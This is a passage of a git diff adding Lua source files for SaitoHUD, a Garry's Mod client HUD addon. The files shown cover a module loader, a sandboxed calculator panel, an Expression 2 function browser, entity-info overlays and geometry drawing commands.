MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +-- GNU General Public License for more details. +-- +-- You should have received a copy of the GNU General Public License +-- along with this program. If not, see . +-- +-- $Id: init.lua 190 2010-08-16 04:58:29Z the.sk89q $ + +local moduleLoadList = { + "util", + "listgest", + "geom", + "overlays", + "player_tags", + "sampling", + "stranded", + "sandbox", + "survey", + "measure", + "resbrowser", + "spectate", + "e2_extensions", + "entity_info", + "umsg", + "calculator", + "hook_manager", + "panel", +} + +------------------------------------------------------------ +-- Functions / build module list +------------------------------------------------------------ + +local postModules = CreateClientConVar("saitohud_modules", "", true, false):GetString() +local preModules = CreateClientConVar("saitohud_modules_pre", "", true, false):GetString() +local profile = CreateClientConVar("saitohud_profile", "0", true, false):GetBool() + +--- Load a module. +local function Load(module) + path = "saitohud/modules/" .. module .. ".lua" + if profile then + MsgN("Loading: " .. path .. "...") + end + local start = SysTime() + pcall(HeXInclude, path) + + -- Profiling + if profile then + local t = SysTime() - start + print(string.format(" >>> %.3fms", t * 1000)) + end +end + +--- Remove existing SaitoHUD hooks. +local function RemoveExistingHooks() + for name, list in pairs(hook.GetTable()) do + for k, f in pairs(list) do + if k:match("^SaitoHUD") then + list[k] = nil + end + end + end +end + +-- Modules loaded at the beginning +for _, v in pairs(string.Explode(",", preModules)) do + v = v:Trim() + if v ~= "" then table.insert(moduleLoadList, 1, v) end +end + +-- Modules loaded at the end +for _, v in pairs(string.Explode(",", postModules)) do + v = v:Trim() + if v ~= "" then table.insert(moduleLoadList, v) end +end + +------------------------------------------------------------ +-- Load +------------------------------------------------------------ + +-- Reloading check +local reloading = false +if SaitoHUD ~= nil then reloading = true end + +if reloading then + RemoveExistingHooks() +end + +SaitoHUD = {} +SaitoHUD.Reloading = reloading + +HeXInclude("saitohud/saitohud.lua") +HeXInclude("saitohud/functions.lua") +HeXInclude("saitohud/concmd.lua") +HeXInclude("saitohud/filters.lua") +HeXInclude("saitohud/friends.lua") +HeXInclude("saitohud/geom.lua") +HeXInclude("saitohud/overlays.lua") +HeXInclude("saitohud/vgui/DCustomListView.lua") +HeXInclude("saitohud/vgui/DListView_CheckboxLine.lua") + +Msg("====== Loading SaitoHUD ======\n") + +local start = SysTime() + +for _, v in pairs(moduleLoadList) do + Load(v) +end + +if profile then + local t = SysTime() - start + print(string.format("TOTAL: %.3fms", t * 1000)) +end + +Msg("==============================\n") \ No newline at end of file diff --git a/Repos/HeXs_SaitoHUD-master/lua/saitohud/modules/calculator.lua b/Repos/HeXs_SaitoHUD-master/lua/saitohud/modules/calculator.lua new file mode 100644 index 0000000..ba2afe4 --- /dev/null +++ b/Repos/HeXs_SaitoHUD-master/lua/saitohud/modules/calculator.lua @@ -0,0 +1,527 @@ +-- SaitoHUD +-- Copyright (c) 2009, 2010 sk89q +-- +-- This program is free software: you can redistribute it and/or modify +-- it under the terms of the GNU General Public License as published by +-- the Free Software Foundation, either version 2 of the License, or +-- (at your option) any later version. +-- +-- This program is distributed in the hope that it will be useful, +-- but WITHOUT ANY WARRANTY; without even the implied warranty of +-- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +-- GNU General Public License for more details. +-- +-- You should have received a copy of the GNU General Public License +-- along with this program. If not, see . +-- +-- $Id$ + +--- Calculator functions. + +------------------------------------------------------------ +-- SaitoHUDCalculator +------------------------------------------------------------ + +local PANEL = {} + +function PANEL:Init() + self.LastAnswer = 0 + self.Buffer = {} + self.BufferIndex = 0 + self.Env = {} + + self:SetTitle("SaitoHUD Calculator") + self:SetSizable(true) + self:SetSize(250, 300) + self:ShowCloseButton(true) + self:SetDraggable(true) + self:SetScreenLock(true) + + -- Make list view + self.Log = vgui.Create("DPanelList", self) + self.Log:SetPadding(3) + self.Log:SetSpacing(3) + self.Log:SetBottomUp(true) + self.Log:EnableVerticalScrollbar(true) + self.Log.Paint = function(self) + draw.RoundedBox(4, 0, 0, self:GetWide(), self:GetTall(), + color_white) + end + + local operators = {"*", "+", "-", "/", "%"} + + self.InputEntry = vgui.Create("DTextEntry", self) + self.InputEntry:SetText("") + self.InputEntry:SizeToContents() + self.InputEntry:RequestFocus() + self.InputEntry.OnTextChanged = function(panel, text) + local val = panel:GetValue() + if string.len(val) == 1 and table.HasValue(operators, val) then + panel:SetText("ans" .. val) + panel:SetCaretPos(4) + end + end + self.InputEntry.OnKeyCodeTyped = function(panel, code) + if code == KEY_ENTER and not panel:IsMultiline() and panel:GetEnterAllowed() then + panel:FocusNext() + panel:OnEnter() + end + + if #self.Buffer == 0 then return end + + if code == KEY_UP then + self.BufferIndex = self.BufferIndex - 1 + if self.BufferIndex < 1 then + self.BufferIndex = #self.Buffer + end + + local val = self.Buffer[self.BufferIndex] + panel:SetText(val) + panel:SetCaretPos(string.len(val)) + elseif code == KEY_DOWN then + self.BufferIndex = self.BufferIndex + 1 + if self.BufferIndex > #self.Buffer then + self.BufferIndex = 1 + end + + local val = self.Buffer[self.BufferIndex] + panel:SetText(val) + panel:SetCaretPos(string.len(val)) + end + end + self.InputEntry.OnEnter = function() + self:OnEnter() + end + + self.CalcBtn = vgui.Create("DButton", self) + self.CalcBtn:SetText(">") + self.CalcBtn:SetWide(20) + self.CalcBtn.DoClick = function() + self:OnEnter() + end + self.CalcBtn:SetTall(self.InputEntry:GetTall()) + + self:AddIntro() + + self:SetPos(10, ScrH() - self:GetTall() - 10) +end + +function PANEL:OnEnter() + local text = self.InputEntry:GetValue():Trim() + + -- Clear + if text == "clear" then + self.Env = {} + self.Log:Clear() + self:AddIntro() + + -- Clear memory + elseif text == "clearmem" then + self:AddInfo({"Memory cleared of " .. table.Count(self.Env) .. " variables"}) + self.Env = {} + + -- List variables + elseif text == "listmem" then + local lines = {} + for k, v in pairs(self.Env) do + table.insert(lines, k .. " = " .. v) + end + self:AddInfo(lines) + + -- Copy + elseif text == "copy" then + SetClipboardText(tostring(self.LastAnswer)) + self.InputEntry:SetText("") + self:Close() + return + + -- Quit + copy + elseif text == "qc" then + SetClipboardText(tostring(self.LastAnswer)) + self.InputEntry:SetText("") + self:Close() + return + + -- Quit + elseif text == "q" then + self.InputEntry:SetText("") + self:Close() + return + + -- Help + elseif text == "?" or text == "help" then + self:AddIntro() + + -- Evaluate + elseif text ~= "" then + self:Evaluate(text) + + -- Previous evaluation + elseif text == "" and #self.Buffer > 0 then + self:Evaluate(self.Buffer[#self.Buffer]) + end + + self.InputEntry:SetText("") + self.InputEntry:RequestFocus() +end + +function PANEL:AddEvaluation(input, output, isErr) + local line = vgui.Create("SaitoHUDCalculatorLine", self) + line:Setup(input, output, isErr) + self.Log:AddItem(line) +end + +function PANEL:Evaluate(expr) + local ret, val, env = SaitoHUD.CalcExpr(expr, self.Env) + self:AddEvaluation(expr, tostring(val), not ret) + if ret then + self.LastAnswer = val + self.Env = env + self.Env.ans = self.LastAnswer + end + + -- Remove from buffer + for k, v in pairs(self.Buffer) do + if v == expr then + table.remove(self.Buffer, k) + break + end + end + + -- Add to buffer + table.insert(self.Buffer, expr) + while #self.Buffer > 40 do + table.remove(self.Buffer, 1) + end + + self.BufferIndex = #self.Buffer + 1 +end + +function PANEL:AddIntro() + self:AddInfo({ + "clear - Clear the log and memory", + "clearmem - Clear the memory", + "listmem - List the variables", + "q - Close", + "qc - Close and copy to clipboard", + "copy - Copy to clipboard", + }) +end + +function PANEL:AddInfo(lines) + local panel = vgui.Create("SaitoHUDCalculatorInfo", self) + panel:Setup(lines) + self.Log:AddItem(panel) +end + +function PANEL:PerformLayout() + DFrame.PerformLayout(self) + + local wide = self:GetWide() + local tall = self:GetTall() + + self.Log:StretchToParent(6, 26, 6, 33) + + self.InputEntry:SetPos(6, tall - self.CalcBtn:GetTall() - 6) + self.InputEntry:SetWide(wide - self.CalcBtn:GetWide() - 15) + + self.CalcBtn:SetPos(wide - self.CalcBtn:GetWide() - 6, + tall - self.CalcBtn:GetTall() - 6) +end + +vgui.Register("SaitoHUDCalculator", PANEL, "DFrame") + +------------------------------------------------------------ +-- SaitoHUDCalculatorTextEntry +------------------------------------------------------------ + +local PANEL = {} + +function PANEL:Paint(panel) + self:DrawTextEntryText(self.m_colText, self.m_colHighlight, self.m_colCursor) +end + +function PANEL:ApplySchemeSettings() + self:SetTextColor(self.IsError and Color(200, 0, 0, 255) or Color(0, 0, 0, 255)) + self:SetHighlightColor(Color(100, 100, 100, 255)) + self:SetCursorColor(Color(0, 0, 0, 255)) +end + +vgui.Register("SaitoHUDCalculatorTextEntry", PANEL, "DTextEntry") + +------------------------------------------------------------ +-- SaitoHUDCalculatorLine +------------------------------------------------------------ + +local PANEL = {} + +function PANEL:Init() + self.CreateTime = CurTime() +end + +function PANEL:Setup(input, output, isErr) + self.Input = vgui.Create("SaitoHUDCalculatorTextEntry", self) + self.Input:SetPos(3, 2) + self.Input:SetText(input) + self.Input:SizeToContents() + + self.Output = vgui.Create("SaitoHUDCalculatorTextEntry", self) + self.Output:SetText(output) + self.Output:SizeToContents() + self.Output.IsError = isErr + + self:SetTall(self.Input:GetTall() + self.Output:GetTall() + 5) + + self.RemoveBtn = vgui.Create("DButton", self) + self.RemoveBtn:SetSize(6, self:GetTall()) + self.RemoveBtn:SetText("") + self.RemoveBtn:SetTooltip("Remove this line.") + self.RemoveBtn.DoClick = function() + self:Remove() + self:GetParent():InvalidateLayout() + end +end + +function PANEL:Paint() + local elapsed = CurTime() - self.CreateTime + local c = math.max(200, (0.7 - elapsed / 0.7) * 55 + 200) + + draw.RoundedBox(4, 0, 0, self:GetWide(), self:GetTall(), + Color(200, 200, c, 255)) + draw.RoundedBox(0, 1, self:GetTall() / 2, + self:GetWide() - 2, self:GetTall() / 2 - 2, + color_white) +end + +function PANEL:PerformLayout() + local wide = self:GetWide() + + self.RemoveBtn:SetPos(wide - self.RemoveBtn:GetWide(), 0) + self.Output:SetPos(3, self.Input:GetTall() + 3) + self.Input:SetWide(wide - 8) + self.Output:SetWide(wide - 8) +end + +vgui.Register("SaitoHUDCalculatorLine", PANEL, "DPanel") + +------------------------------------------------------------ +-- SaitoHUDCalculatorInfo +------------------------------------------------------------ + +local PANEL = {} + +function PANEL:Setup(lines) + local height = #lines * 14.5 + + self.Label = vgui.Create("SaitoHUDCalculatorTextEntry", self) + self.Label:SetPos(3, 3) + self.Label:SetText(table.concat(lines, "\n")) + self.Label:SetWide(200) + self.Label:SetMultiline(true) + self.Label:SetTall(height) + + self:SetTall(height + 6) + + self.RemoveBtn = vgui.Create("DButton", self) + self.RemoveBtn:SetSize(6, self:GetTall()) + self.RemoveBtn:SetText("") + self.RemoveBtn:SetTooltip("Remove this line.") + self.RemoveBtn.DoClick = function() + self:Remove() + self:GetParent():InvalidateLayout() + end +end + +function PANEL:Paint() + draw.RoundedBox(4, 0, 0, self:GetWide(), self:GetTall(), + Color(200, 200, 255, 255)) +end + +function PANEL:PerformLayout() + local wide = self:GetWide() + + if self.Label then + self.Label:SetWide(wide - 6) + self.RemoveBtn:SetPos(wide - self.RemoveBtn:GetWide(), 0) + end +end + +vgui.Register("SaitoHUDCalculatorInfo", PANEL, "DPanel") + +------------------------------------------------------------ + +local function SetError(f, err) + setfenv(f, { _err = err }) + error("Exception occurred") + -- Cannot use Error()! +end + +local function MakeHook(f, maxLines, recursionLimit, maxTime) + local lines = 0 + local calls = 0 + local start = 0 + + return function(evt) + if start == 0 then start = os.clock() end + if os.clock() - start > maxTime then SetError(f, "Time limit hit") end + if evt == "line" then + lines = lines + 1 + if lines > maxLines then SetError(f, "Line limit hit") end + elseif evt == "call" then + calls = calls + 1 + if calls > recursionLimit then SetError(f, "Recursion limit hit") end + elseif evt == "return" then + calls = calls - 1 + end + end +end + +--- Calculates a mathematical expression securely. +-- @param str Expression +-- @return Success or not +-- @return Error message or result +function SaitoHUD.CalcExpr(str, vars) + local setVar = "_result" + local code = "_result = " .. str + + -- Detect attempts at setting a variable + local m = string.match(str, "^([A-Za-z_][A-Za-z0-9_]*) *=") + if m then + setVar = m + code = str + end + + -- Compile code; note that the error is caught in the current version + -- of Gmod (it's a bug) + local ret, err = pcall(CompileString, code, "calc") + if not ret or type(err) ~= 'function' then + return false, "Parsing error" + end + + local f = err + local missingVars = {} + local missingVarsIndex = {} + + -- Build the environment + local env = { + abs = math.abs, + acos = math.acos, + asin = math.asin, + atan = math.atan, + ceil = math.ceil, + cos = math.cos, + cosh = math.cosh, + deg = math.deg, + exp = math.exp, + floor = math.floor, + fmod = math.fmod, + ln = math.log, + log = math.log, + log10 = math.log10, + max = math.max, + min = math.min, + pow = math.pow, + rad = math.rad, + rand = math.random, + sin = math.sin, + sinh = math.sinh, + sqrt = math.sqrt, + tanh = math.tanh, + tan = math.tan, + + pi = math.pi, + inf = math.huge, + e = 2.718281828459, + gr = 1.618033988749, + } + + setmetatable(env, { + __index = function(t, k) + if not missingVarsIndex[k] then + table.insert(missingVars, k) + missingVarsIndex[k] = true + end + return 0 + end, + }) + + -- Keep track of the standard environment so we can get rid of it + local stdEnvKeys = {} + for k, v in pairs(env) do + stdEnvKeys[k] = true + end + + -- Add in the provided environment + if vars then + for k, v in pairs(vars) do + env[k] = v + end + end + + setfenv(f, env) + + -- Workaround for coroutine issues + for i = 1, 3 do + -- Run in a coroutine so we can set a runtime checks + local co = coroutine.create(f) + debug.sethook(co, MakeHook(f, 100, 5, 0.1), "crl") + local ret, succ, err = pcall(coroutine.resume, co) -- Gmod has issues + + if ret then + -- Check for missing variables + if #missingVars == 1 then + return false, string.format("'%s' is undefined", missingVars[1]) + elseif #missingVars > 1 then + return false, string.format("%s are undefined", + table.concat(missingVars, ", ")) + elseif succ then + local retEnv = getfenv(f) + local cleaned = {} + + for k, v in pairs(retEnv) do + if not stdEnvKeys[k] and k ~= "_result" then + if type(v) ~= 'function' and type(v) ~= 'number' then + v = 0 + end + cleaned[k] = v + end + end + + return true, tonumber(retEnv[setVar]) or 0, cleaned + else + local exceptionError = getfenv(f)._err + if exceptionError == 0 then exceptionError = nil end + return false, exceptionError or err + end + end + end + + -- Failure + return false, "Internal error 1" +end + +------------------------------------------------------------ + +concommand.Add("calculator", function() + if g_SaitoHUDCalculator and g_SaitoHUDCalculator:IsValid() then + local frame = g_SaitoHUDCalculator + -- Reload protection + if frame.SaitoHUDRef ~= SaitoHUD then + frame:Remove() + else + frame:SetVisible(true) + frame.InputEntry:RequestFocus() + return + end + end + + local frame = vgui.Create("SaitoHUDCalculator") + frame:GetDeleteOnClose(false) + frame:MakePopup() + frame.SaitoHUDRef = SaitoHUD + frame.Close = function() + frame:SetVisible(false) + end + g_SaitoHUDCalculator = frame + +end) \ No newline at end of file diff --git a/Repos/HeXs_SaitoHUD-master/lua/saitohud/modules/e2_extensions.lua b/Repos/HeXs_SaitoHUD-master/lua/saitohud/modules/e2_extensions.lua new file mode 100644 index 0000000..920ee44 --- /dev/null +++ b/Repos/HeXs_SaitoHUD-master/lua/saitohud/modules/e2_extensions.lua @@ -0,0 +1,279 @@ +-- SaitoHUD +-- Copyright (c) 2009-2010 sk89q +-- Copyright (c) 2010 BoJaN +-- +-- This program is free software: you can redistribute it and/or modify +-- it under the terms of the GNU General Public License as published by +-- the Free Software Foundation, either version 2 of the License, or +-- (at your option) any later version. +-- +-- This program is distributed in the hope that it will be useful, +-- but WITHOUT ANY WARRANTY; without even the implied warranty of +-- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +-- GNU General Public License for more details. +-- +-- You should have received a copy of the GNU General Public License +-- along with this program. If not, see . +-- +-- $Id$ + +local e2ExtensionsWindow + +local readableTypes = { + ["n"] = "number", + ["xv2"] = "vector2", + ["v"] = "vector3", + ["xv4"] = "vector4", + ["a"] = "angle", + ["s"] = "string", + ["e"] = "entity", + ["r"] = "array", + ["t"] = "table", + ["xrd"] = "rangerdata", + ["b"] = "bone", + ["xm2"] = "matrix2", + ["m"] = "matrix3", + ["xm4"] = "matrix4", + ["xwl"] = "wirelink", + ["c"] = "complex", + ["q"] = "quaternion", + ["g"] = "generic", + ["xcd"] = "code", + ["f"] = "function", +} + +--- Turn the arguments into a list of readable ones. +-- @param args +-- @Param argNames Table of argument names +local function MakeReadableArgs(args, argNames) + if args == "..." then return args end + argNames = argNames or {} + + local text = {} + + local i = 1 + local argNameK = 97 + + while i <= string.len(args) do + local char = args:sub(i, i) + local dataType + + if char == "x" then + dataType = args:sub(i, i + 2) + i = i + 3 + elseif char == "." then + dataType = args:sub(i, i + 2) + i = i + 3 + else + dataType = char + i = i + 1 + end + + if dataType ~= "..." then + local argName = argNames[i] + if not argName then + argName = string.char(argNameK) + argNameK = argNameK + 1 + end + + table.insert(text, (readableTypes[dataType] or dataType) .. " " .. argName) + else + table.insert(text, dataType) + end + end + + return string.Implode(", ", text) +end + +--- Writes the standard function list. +function SaitoHUD.WriteE2StandardFuncs() + local data = "" + for signature, _ in pairs(wire_expression2_funcs) do + data = data .. signature .. "\n" + end + file.Write("saitohud/e2_std_funcs.txt", data, "DATA") +end + +--- Populates the function list. +-- @param lst List panel +local function PopulateE2ExtensionsList(lst) + local data = file.Read("saitohud/e2_std_funcs.txt", "DATA") + local standardFunctions = {} + + if data then + local lines = string.Explode("\n", data) + for _, v in pairs(lines) do + v = v:Trim() + if v ~= "" then + standardFunctions[v] = true + end + end + end + + for signature, info in pairs(wire_expression2_funcs) do + local cls, args + local func, inner = signature:match("([^%(]+)%((.*)%)") + + -- Index set function + if not func:find("op:") and not standardFunctions[signature] then + -- Try to extract the class and arguments + if inner:find(":") then + local res = string.Explode(":", inner) + cls, args = res[1], res[2] + else + cls = "" + args = inner + end + + local text = string.format("%s %s(%s)", + info[2] ~= "" and (readableTypes[info[2]] or info[2]) or "", + (readableTypes[cls] and readableTypes[cls] .. ":" or cls) .. + func, MakeReadableArgs(args, info.argnames)) + + lst:AddLine(info[2] ~= "" and (readableTypes[info[2]] or info[2]) or "", + readableTypes[cls] and readableTypes[cls] .. ":" or cls, + func .. "()", + MakeReadableArgs(args, info.argnames), signature, text:Trim()) + end + end +end + +--- Prints the function list. +-- @param lst List panel +local function DumpE2ExtensionsList(lst) + local data = file.Read("saitohud/e2_std_funcs.txt", "DATA") + local standardFunctions = {} + + if data then + local lines = string.Explode("\n", data) + for _, v in pairs(lines) do + v = v:Trim() + if v ~= "" then + standardFunctions[v] = true + end + end + end + + local funcs = {} + + for signature, info in pairs(wire_expression2_funcs) do + local cls, args + local func, inner = signature:match("([^%(]+)%((.*)%)") + + -- Index set function + if not func:find("op:") and not standardFunctions[signature] then + -- Try to extract the class and arguments + if inner:find(":") then + local res = string.Explode(":", inner) + cls, args = res[1], res[2] + else + cls = "" + args = inner + end + + local text = string.format("%s %s(%s)", + info[2] ~= "" and (readableTypes[info[2]] or info[2]) or "", + (readableTypes[cls] and readableTypes[cls] .. ":" or cls) .. + func, MakeReadableArgs(args, info.argnames)) + + table.insert(funcs, { + info[2] ~= "" and (readableTypes[info[2]] or info[2]) or "void", + readableTypes[cls] and readableTypes[cls] .. ":" or cls, + func, + MakeReadableArgs(args, info.argnames) + }) + end + end + + table.SortByMember(funcs, 3, function(a, b) return a > b end) + + local out = "" + + for _, v in pairs(funcs) do + local text = string.format("%s%s%s(%s)\n", + v[1], v[2], v[3], v[4] == "" and "" or " " .. v[4] .. " ") + out = out .. text + end + + file.Write("saitohud_dump_e2_funcs.txt", out, "DATA") +end + +--- Opens the E2 extensions window. +function SaitoHUD.OpenE2Extensions() + if not wire_expression2_funcs then + Derma_Message("This server does not have Expression 2.", "Error", "OK") + return + end + + if e2ExtensionsWindow then + e2ExtensionsWindow:SetVisible(true) + e2ExtensionsWindow:MakePopup() + e2ExtensionsWindow:InvalidateLayout(true, true) + return + end + + local frame = vgui.Create("DFrame") + e2ExtensionsWindow = frame + frame:SetTitle("Expression 2 Extensions") + frame:SetDeleteOnClose(false) + frame:SetScreenLock(true) + frame:SetSize(math.min(600, ScrW() - 20), ScrH() * 4/5) + frame:SetSizable(true) + frame:Center() + frame:MakePopup() + + -- Make information box + local info = vgui.Create("DLabel", frame) + info:SetText("") + info:SetWrap(true) + info:SetAutoStretchVertical(true) + + -- Make list view + local funcs = vgui.Create("DListView", frame) + funcs:SetMultiSelect(false) + funcs:AddColumn("Return"):SetFixedWidth(80) + funcs:AddColumn("Class"):SetFixedWidth(80) + funcs:AddColumn("Function") + funcs:AddColumn("Arguments") + PopulateE2ExtensionsList(funcs) + + funcs.OnRowSelected = function(lst, index) + local line = lst:GetLine(index) + info:SetText(line:GetValue(6)) + end + + funcs.OnRowRightClick = function(lst, index, line) + local menu = DermaMenu() + menu:AddOption("Copy Function Name", function() + local line = lst:GetLine(index) + SetClipboardText(line:GetValue(3)) + end) + menu:AddOption("Copy Signature", function() + local line = lst:GetLine(index) + SetClipboardText(line:GetValue(6)) + end) + menu:AddOption("Copy Raw Signature", function() + local line = lst:GetLine(index) + SetClipboardText(line:GetValue(5)) + end) + menu:Open() + end + + -- Make divider + local divider = vgui.Create("DVerticalDivider", frame) + divider:SetTopHeight(ScrH() * 4/5 - 50) + divider:SetTop(funcs) + divider:SetBottom(info) + + -- Layout + local oldPerform = frame.PerformLayout + frame.PerformLayout = function() + oldPerform(frame) + divider:StretchToParent(10, 28, 10, 10) + end + + frame:InvalidateLayout(true, true) +end + +concommand.Add("e2_extensions", function() SaitoHUD.OpenE2Extensions() end) +concommand.Add("dump_e2_extensions", DumpE2ExtensionsList) \ No newline at end of file diff --git a/Repos/HeXs_SaitoHUD-master/lua/saitohud/modules/entity_info.lua b/Repos/HeXs_SaitoHUD-master/lua/saitohud/modules/entity_info.lua new file mode 100644 index 0000000..edc90ad --- /dev/null +++ b/Repos/HeXs_SaitoHUD-master/lua/saitohud/modules/entity_info.lua @@ -0,0 +1,47 @@ +-- SaitoHUD +-- Copyright (c) 2009-2010 sk89q +-- Copyright (c) 2010 BoJaN +-- +-- This program is free software: you can redistribute it and/or modify +-- it under the terms of the GNU General Public License as published by +-- the Free Software Foundation, either version 2 of the License, or +-- (at your option) any later version. +-- +-- This program is distributed in the hope that it will be useful, +-- but WITHOUT ANY WARRANTY; without even the implied warranty of +-- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +-- GNU General Public License for more details. +-- +-- You should have received a copy of the GNU General Public License +-- along with this program. If not, see . +-- +-- $Id$ + +local drawEntityInfo = CreateClientConVar("entity_info", "1", true, false) +local showPlayerInfo = CreateClientConVar("entity_info_player", "0", true, false) +local EntinfoHight = CreateClientConVar("entity_info_hight", 0.3, true, false) + +local function EntityInfoPaint() + if SaitoHUD.Gesturing then return end + + local lines = SaitoHUD.GetEntityInfoLines( + showPlayerInfo:GetBool(), + drawEntityInfo:GetBool() + ) + + if table.Count(lines) > 0 then + local color = color_white + + local yOffset = ScrH() * EntinfoHight:GetFloat() + for _, s in pairs(lines) do + draw.SimpleText(s, "TabLarge", ScrW() - 16, yOffset, color, 2, ALIGN_TOP) + yOffset = yOffset + 14 + end + end +end + +SaitoHUD.HookOnCvar("entity_info", "SaitoHUD.EntityInfo", { + HUDPaint = EntityInfoPaint +}) + +concommand.Add("dump_info", function() SaitoHUD.DumpEntityInfo() end) \ No newline at end of file diff --git a/Repos/HeXs_SaitoHUD-master/lua/saitohud/modules/geom.lua b/Repos/HeXs_SaitoHUD-master/lua/saitohud/modules/geom.lua new file mode 100644 index 0000000..223751c --- /dev/null +++ b/Repos/HeXs_SaitoHUD-master/lua/saitohud/modules/geom.lua @@ -0,0 +1,220 @@ +-- SaitoHUD +-- Copyright (c) 2009, 2010 sk89q +-- +-- This program is free software: you can redistribute it and/or modify +-- it under the terms of the GNU General Public License as published by +-- the Free Software Foundation, either version 2 of the License, or +-- (at your option) any later version. +-- +-- This program is distributed in the hope that it will be useful, +-- but WITHOUT ANY WARRANTY; without even the implied warranty of +-- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +-- GNU General Public License for more details. +-- +-- You should have received a copy of the GNU General Public License +-- along with this program. If not, see . +-- +-- $Id$ + + +surface.CreateFont("DefaultBold", { + font = "Tahoma", + size = 13, + weight = 1000, + antialias = true, + additive = false, + } +) + + + +local autoLive = CreateClientConVar("geom_auto_live", "0", true, false) + +local GEOM = SaitoHUD.GEOM + +------------------------------------------------------------ +-- Drawing +------------------------------------------------------------ + +local function DrawCross(pt) + local scr = pt:ToScreen() + + surface.DrawLine(scr.x - 7, scr.y, scr.x + 7, scr.y) + surface.DrawLine(scr.x, scr.y - 7, scr.x, scr.y + 7) +end + +local function DetermineScale(pt) + return math.Clamp(4.6988 * math.exp(0.0006 * SaitoHUD.GetRefPos():Distance(pt)), 5, 40) +end + +local function Draw3DCross(pt, dir) + local scale = DetermineScale(pt) + local ang = dir:Angle() + local topScr = (pt + ang:Up() * scale):ToScreen() + local bottomScr = (pt - ang:Up() * scale):ToScreen() + local rightScr = (pt + ang:Right() * scale):ToScreen() + local leftScr = (pt- ang:Right() * scale):ToScreen() + surface.DrawLine(topScr.x, topScr.y, bottomScr.x, bottomScr.y) + surface.DrawLine(leftScr.x, leftScr.y, rightScr.x, rightScr.y) +end + +local function Draw3DArrow(pt, dir) + local scale = DetermineScale(pt) + local ang = dir:Angle() + local centerScr = pt:ToScreen() + local topScr = (pt + ang:Up() * scale - ang:Forward() * scale):ToScreen() + local bottomScr = (pt - ang:Up() * scale - ang:Forward() * scale):ToScreen() + local rightScr = (pt + ang:Right() * scale - ang:Forward() * scale):ToScreen() + local leftScr = (pt- ang:Right() * scale - ang:Forward() * scale):ToScreen() + surface.DrawLine(centerScr.x, centerScr.y, topScr.x, topScr.y) + surface.DrawLine(centerScr.x, centerScr.y, bottomScr.x, bottomScr.y) + surface.DrawLine(centerScr.x, centerScr.y, leftScr.x, leftScr.y) + surface.DrawLine(centerScr.x, centerScr.y, rightScr.x, rightScr.y) +end + +local function Draw3DEndMarker(pt, dir) + local scale = DetermineScale(pt) + local ang = dir:Angle() + local left = (pt - ang:Right() * scale):ToScreen() + local right = (pt + ang:Right() * scale):ToScreen() + surface.DrawLine(left.x, left.y, right.x, right.y) +end + +--- Draw GEOM objects. +local function HUDPaint() + for key, pt in pairs(GEOM.Points) do + local scr = pt:ToScreen() + + surface.SetDrawColor(0, 255, 255, 255) + surface.SetTextColor(0, 255, 255, 255) + + if scr.visible then + DrawCross(pt) + end + + surface.SetFont("DefaultBold") + local w, h = surface.GetTextSize(key) + surface.SetTextPos(scr.x - w - 4, scr.y + 1) + surface.DrawText(key) + end + + for key, line in pairs(GEOM.Lines) do + local scr1 = line.pt1:ToScreen() + local scr2 = line.pt2:ToScreen() + + surface.SetDrawColor(255, 0, 0, 255) + + if scr1.visible then Draw3DCross(line.pt1, line.pt2 - line.pt1) end + if scr2.visible then Draw3DEndMarker(line.pt2, line.pt2 - line.pt1) end + if scr1.visible and scr2.visible then + surface.DrawLine(scr1.x, scr1.y, scr2.x, scr2.y) + end + + surface.SetFont("DefaultBold") + surface.SetTextColor(255, 0, 0, 255) + surface.SetTextPos(scr1.x + 4, scr1.y + 1) + surface.DrawText(key) + end +end + +hook.Add("HUDPaint", "SaitoHUD.GEOMView", HUDPaint) + +------------------------------------------------------------ +-- Commands +------------------------------------------------------------ + +--- Create a point. +-- @param ply Player +-- @param cmd Command +-- @param args Arguments +local function AddPoint(ply, cmd, args) + local r = SaitoHUD.ParseVarConcmd(args, { + { Name = "name", NumArgs = 1, }, + { Name = "vec", Type = SaitoHUD.VAR_CONCMD_GEOM_POINT, ImplicitTrace = true }, + { Name = "ent", Type = SaitoHUD.VAR_CONCMD_ENTITY, ImplicitTrace = true, + Optional = true }, + }) + if not r then return end + + if cmd == "geom_point_live" or (r.ent and autoLive:GetBool()) then + GEOM.SetPoint(r.name, GEOM.EntityRelVector(r.vec.x, r.vec.y, r.vec.z, r.ent)) + else + GEOM.SetPoint(r.name, r.vec) + end + + print(string.format("Point #%s: %s -> %s", r.name, tostring(r.vec))) +end + +--- Create an entity-relative point +-- @param ply Player +-- @param cmd Command +-- @param args Arguments +local function AddEntPoint(ply, cmd, args) + local r = SaitoHUD.ParseVarConcmd(args, { + { Name = "name", NumArgs = 1, }, + { Name = "ent", Type = SaitoHUD.VAR_CONCMD_ENTITY, ImplicitTrace = true }, + }) + if not r then return end + + local pos + + if cmd:find("geom_point_center") then + pos = r.ent:GetPos() + elseif cmd:find("geom_point_bbox") then + pos = r.ent:LocalToWorld(r.ent:OBBCenter()) + elseif cmd:find("geom_point_mass") then + + end + + if cmd:find("live") or autoLive:GetBool() then + GEOM.SetPoint(r.name, GEOM.EntityRelVector(pos.x, pos.y, pos.z, r.ent)) + else + GEOM.SetPoint(r.name, pos) + end + + print(string.format("Point #%s: %s -> %s", r.name, tostring(pos))) +end + +--- Create a line. +-- @param ply Player +-- @param cmd Command +-- @param args Arguments +local function AddLine(ply, cmd, args) + local r = SaitoHUD.ParseVarConcmd(args, { + { Name = "name", NumArgs = 1, }, + { Name = "pt1", Type = SaitoHUD.VAR_CONCMD_GEOM_POINT, }, + { Name = "pt2", Type = SaitoHUD.VAR_CONCMD_GEOM_POINT, }, + }) + if not r then return end + + GEOM.SetLine(r.name, GEOM.Line(r.pt1, r.pt2)) + print(string.format("Line #%s: %s -> %s", r.name, tostring(r.pt1), tostring(r.pt2))) +end + +--- Project a point onto a segment. +-- @param ply Player +-- @param cmd Command +-- @param args Arguments +local function ProjectPointSegment(ply, cmd, args) + local r = SaitoHUD.ParseVarConcmd(args, { + { Name = "name", NumArgs = 1, }, + { Name = "pt", Type = SaitoHUD.VAR_CONCMD_GEOM_POINT, }, + { Name = "segment", Type = SaitoHUD.VAR_CONCMD_GEOM_LINE, }, + }) + if not r then return end + + GEOM.SetPoint(r.name, GEOM.PointLineSegmentProjection(r.pt, 